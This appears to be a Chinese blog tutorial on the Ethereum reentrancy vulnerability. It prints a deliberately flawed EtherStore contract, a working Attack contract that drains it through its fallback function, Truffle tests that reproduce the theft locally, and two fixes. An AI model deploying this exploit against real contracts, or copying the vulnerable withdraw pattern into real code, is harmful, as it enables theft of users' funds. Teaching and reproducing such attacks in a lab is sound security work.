重入攻击 Re-Entrancy
以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅仅局限于外部账户,合约账户同样可以拥有以太并进行转账等操作,且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑,这是一种隐藏的外部调用。
我们先给重入漏洞下个定义:可以认为合约中所有的外部调用都是不安全的,都有可能存在重入漏洞。例如:如果外部调用的目标是一个攻击者可以控制的恶意的合约,那么当被攻击的合约在调用恶意合约的时候攻击者可以执行恶意的逻辑然后再重新进入到被攻击合约的内部,通过这样的方式来发起一笔非预期的外部调用,从而影响被攻击合约正常的执行逻辑。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
问题分析
合约EtherStore
提供了deposit
、withdraw
两个转入转出方法,还有一个查询合约账户的方法getBalance
,在全局定义了一个balances mapping
这个map
用来记录每个用户账户转入到此合约的余额数(注意:这里balances
只是作为记录,实际余额被转到合约账户中,可以理解为这里是个账本记录了每个人的余额类似虚拟账号,但是实际余额都放在一起,也就是都在合约账户中)
正因为余额放在了一起,攻击者才能通过重入偷走所有人的余额。这里合约中withdraw
先判断账户在balances
中是否有余额,然后向msg.sender
用户通过call
进行转账,这里就是问题所在,在执行call的时候会触发fallback
函数,如果攻击者在fallback
方法中再次调用withdraw
方法,这个时候在balances
中的msg.sender
余额并没有变动(合约在转账完成后才在第16
行对balances
中的msg.sender
余额清零)所以require(bal > 0)
并不会触发中断,并接着执行msg.sender.call
进行转账并触发fallback
函数无限循环,直到合约账户余额为空
攻击合约
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1);
etherStore.deposit{value: 1}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
攻击合约传入EtherStore
地址,在fallback
中调用etherStore
里的withdraw()
来达成触发fallback
重复调用withdraw
,在attack方法中需要先向etherStore
存入 1
余额(不然无法调用withdraw
方法,etherStore balances
中攻击者并没有余额会触发 require(bal > 0)
)。
攻击复现
执行步骤
{hide}
1、创建项目文件夹,并在文件夹中初始化truffle
项目
truffle init
2、将EtherStore.sol
合约导入
3、在migrations
文件夹下创建合约迁移文件
const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");
module.exports = async function(deployer,network,account){
await deployer.deploy(EtherStore);
await deployer.deploy(Attack,EtherStore.address);
}
这里部署EtherStore
需要将地址传给Attack
合约,Attack
初始化需要EtherStore
合约地址
4、在test
文件夹下编写测试代码
const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");
contract("Test EtherStore",async function(account){
it("Attack EtherStroe", async function(){
const ES = await EtherStore.deployed();
// account1 和 account2 转入1余额
await ES.deposit({value:1,from:account[0]})
await ES.deposit({value:1,from:account[1]})
console.log("当前合约账户有:",(await ES.getBalance()).toString());
// 攻击者 部署合约
const AT = await Attack.deployed();
await AT.attack({value:1,from:account[2]});
assert.equal((await ES.getBalance()).toString(),"0","Attack Failed");
console.log("当前合约账户有:",(await ES.getBalance()).toString());
})
})
这里写了个样例代码,步骤意思为:
1)【1-2行】引入合约。
2)【4-5行】创建测试合约组和单项测试用例。
3)【 6 行】部署EtherStore
合约。
4)【8-9行】用户1、2
向EtherStore
合约各转入 1 wei
余额。
5)【10行】 打印当前合约余额。
6)【13行】部署攻击合约。
7)【14行】调用attack
方法,需要指定用户和转入余额。
8)【15行】判断EtherStore
合约账户余额是否为空。
9)【16行】输出合约账户余额。
5、运行truffle测试
truffle test
结果
可以看到代码原先合约账户有两个用户转入的余额2 wei
,在攻击后合约账户的余额已被清零,代表攻击成功。这里去掉console
输出改为assert
const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");
contract("Test EtherStore",async function(account){
it("Attack EtherStroe", async function(){
const ES = await EtherStore.deployed();
// account1 和 account2 转入1余额
await ES.deposit({value:1,from:account[0]});
await ES.deposit({value:1,from:account[1]});
let wei = (await ES.getBalance()).toString();
assert.equal(wei,"2","User deposit to EtherStore Failed");
// 攻击者 部署合约
const AT = await Attack.deployed();
await AT.attack({value:1,from:account[2]});
assert.equal((await ES.getBalance()).toString(),"0","Attack Failed");
})
})
漏洞修补
本文的合约可以将 balances[msg.sender] = 0;
改变位置到转账前,在没转账时就对余额进行清空 ,或者在合约中定义锁来防止重入攻击;
修补过程
方法一
1、修改合约中的balances[msg.sender] = 0;
改变位置到转账前。
2、执行测试
此时攻击将失效。
方法二
1、在合约全局变量添加锁变量,并在withdraw
方法中添加锁状态变量判断。
通过lock
变量包裹执行区域,在锁状态未被重置时再次执行将会触发锁判断,而导致无法重发重入。
使用这两种方法都可以阻止重入,锁适用性更广。
项目文件
{abtn icon="fa-cloud-download" color="#2e7fff" href="https://blog.dfcraft.cn/usr/uploads/2023/12/396413215.tar" radius="5px" content="项目下载"/}
参考文章
{card-list}
{card-list-item}
智能合约安全审计入门篇 —— 重入漏洞 | 登链社区 | 区块链技术社区
{/card-list-item}
{card-list-item}
SWC-107 - Smart Contract Weakness Classification (SWC)
{/card-list-item}
{card-list-item}
Solidity by Example
{/card-list-item}
{/card-list}
{/hide}